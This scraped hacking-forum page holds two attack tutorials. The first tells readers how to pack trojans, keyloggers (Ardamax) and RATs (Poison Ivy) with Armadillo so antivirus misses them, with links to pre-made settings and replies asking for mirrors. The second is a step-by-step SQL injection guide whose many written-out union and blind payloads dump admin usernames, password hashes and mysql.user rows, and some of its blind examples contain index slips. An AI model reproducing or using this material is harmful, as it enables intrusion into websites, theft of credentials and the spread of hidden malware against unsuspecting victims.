After you sent it to http://www.virustotal.com/ for scanning, they will send the file to all the major anti virus companies to analysis the file and soon will have the signatures updated into their anti-virus program.



In effect defeating the purpose of making this file undetectable...............

I agree. Those sites are gold mines for AV companies. Dumbasses send them all the new ones. lol.

thanks bro ?


i will try this soft ?




This tutorial tells you how to make a Trojan, Virus, Keylogger, or anything that would be found harmful, NOT. This tutorial explains how to make all files look %100 clean (become clean and be %100 UNDETECTABLE from ALL ANTIVIRUSES!!!!! ALL!!!!!)Ready? GO!





First, get your trojan, virus or keylogger, or server or w/e you plan on using to become undetectable, and get it ready. Fix it up, create it, whatever.




My personal favorite
keylogger: Ardamax Keylogger
Remote Administration Tool (Must not have a router): Poisin Ivy
Google is your friend.




Now that you have your trojan, virus or keylogger or w/e harmful ready, its time to make it UNDETECED!





1. Download Software Passport (Armadillo) by Silicon Realms. This is THE best binder out there I know of, it makes everything %100 UNDETECTABLE BY ALL ANTIVIRUSES (including Norton, Kaspersky, Avast, etc)… The direct link to dl the program is here:
Code:
http://nct.digitalriver.com/fulfill/0161.001





There is a form to fill out information, so put in your real email address, and then you’ll recieve a download link in your email (it might be in Spam, Junk mail section so beware.)





2. Once you download the program, install it.
3. Once installed, you open it up and see this:
Code:
http://img339.imageshack.us/img339/6…assportzh3.jpg





This is the program. Now that you have it open, you might be confused on what the hell to do, right? Well, this is what you do!





1. Download this pre-made settings. These settings are pre-made by me so you won’t be confused. Everything is working.





DOWNLOAD THIS FOR THE PRE-MADE SETTINGS:
Code:
http://rapidshare.com/files/8749860/projects.arm.html





DOWNLOAD THIS FOR THE BACKUP (You need this in the same location as the projects.arm file) YOU NEED THIS FILE ALSO!


Code:
http://rapidshare.com/files/8750048/projects.Stats.html





Now, when you download these files, and you put them in the SAME FOLDER (or same location), open Software Passport again and click Load Existing Project (top left).





Where it says “Files to Protect” (if theres stuff there, delete it):
Add the files you want to make %100 UNDETECTABLE!!





Now, once done, go to the bottom right and click “Build Project”. A bunch of windows will come up, just click Yes and OK.






Now, once its created, they are %100 undetectable. Go to
Code:
virustotal.com
to scan it with every Antivirus, and they wont find ANYTHING!




„It takes a long time to learn simplicity.“




If its helpfull to u press thanks button n reputation as well.



Plz Give Me A 4shared Links To Download These Files Accept Software Passport Thanks.



ripped from http://hacktocrack.wordpress.com/200...-undetectable/ atleast give credits to the original poster



To make a virus that undetectable try to make your own virus because this is the best way to make a undetectable virus.And I have a dangerous virus that makes your PC need for reformat.
But I will share this when I online again..
GOod luck!



rapidshare is really phuking please give us 4shared links to download these files i mean the pre made project files please !!! and thanks for nice tool

Read more ...

SQL Injection

Introduction

In this tutorial i will describe how sql injection works and how to use it to get some useful information.

First of all: What is SQL injection?

It's one of the most common vulnerability in web applications today. It allows attacker to execute database query in url and gain access to some confidential information etc...(in shortly).

1.SQL Injection (classic or error based or whatever you call it)
2.Blind SQL Injection (the harder part)

So let's start with some action

1). Check for vulnerability

Let's say that we have some site like this:

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ' (quote), and that would be http://www.site.com/news.php?id=5', so if we get some error like "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..." or something similar that means is vulrnable to sql injection

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result). So how to use it? Well just incrementing the number until we get an error.

Code:

http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error

(we get message like this Unknown column '4' in 'order clause' or something like that) that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement. so we have

http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2).)

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works

4). Check for MySQL version

http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try -- it's a comment and it's important for our query to work properly. let say that we have number 2 on the screen, now to check for version we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar. it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/* if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..." i didn't see any paper covering this problem, so i must write it
what we need is convert() function i.e. http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/* or with hex() and unhex()
i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version

5). Getting table and column name

Well if the MySQL version is <> 5 version. we must guess table and column name in most cases. common table names are: user/s, admin/s, member/s ...
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc... i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good ) we know that table admin exists... now to check column names.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name) we get username displayed on screen, example would be admin, or superadmin etc... now to check if column password exists http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name) we seen password on the screen in hash or plain-text, it depends of how the database is set up i.e md5 hash, mysql hash, sha1... now we must complete query to look nice for that we can use concat() function (it joins strings) i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon) (there is another way for that, char(58), ascii value for
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed usernameassword on screen, i.e admin:admin or admin:somehash. when you have this, you can login like admin or some superuser if can't guess the right table name, you can always try mysql.user (default) it has user i password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i'm gonna explain how to get table and column names in MySQL > 5. For this we need information_schema. It holds all tables and columns in database. to get tables we use table_name and information_schema.tables.
i.e http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables displayed on the screen. Now we must add LIMIT to the end of query to list out all tables. i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1 (get 1 result starting from the 0th) now to view the second table, we change limit 0,1 to limit 1,1 i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed. for third table we put limit 2,1 i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... To get the column names the method is the same. here we use column_name and information_schema.columns the method is same as above so example would be
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
the first column is diplayed. the second one (we change limit 0,1 to limit 1,1) i.e

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
the second column is displayed, so keep incrementing until you get something like username,user,login, password, pass, passwd etc...
if you wanna display column names for specific table use this query. (where clause)

let's say that we found table users. i.e
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users. Note that this won't work if the magic quotes is ON. let's say that we found colums user, pass and email. now to complete query to put them all together for that we use concat() , i decribe it earlier. i.e

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
what we get here is user***:email from table users.
example: admin:hash:whatever@blabla.com
That's all in this part, now we can proceed on harder part

2. Blind SQL Injection

Blind injection is a little more complicated the classic injection but it can be done I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it Let's start with advanced stuff. I will be using our example http://www.site.com/news.php?id=5. When we execute this, we see some page and articles on that page, pictures etc... then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1 <--- this is always true and the page loads normally, that's ok. now the real test
http://www.site.com/news.php?id=5 and 1=2 <--- this is false so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.

1) Get the MySQL version

to get the version in blind attack we use substring i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4. replace 4 with 5, and if query return TRUE then the version is 5. i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don't work then we use subselect i.e

http://www.site.com/news.php?id=5 and (select 1)=1

if page loads normally then subselects work. then we gonna see if we have access to mysql.user i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.) then if the page loads normally without content missing, the table users exits.if you get FALSE (some article missing), just change table name until you guess the right one let's say that we have found that table name is users, now what we need is column name. the same as table name, we start guessing. Like i said before try the common names for columns. i.e

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess) here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users. substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value and then compare it with simbol greater then > . so if the ascii char greater then 80, the page loads normally. (TRUE) we keep trying until we get false.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in length)

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end). There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually, cause that makes you better SQL INJECTOR

This tutorial was one if i remember my first tutorials i ever made and i never forgot about it trust me u will learn from this tutorial.


lol im just going through my pc atm seraching for tutorials that i made lol im so bored right now dunno what to do

Read more ...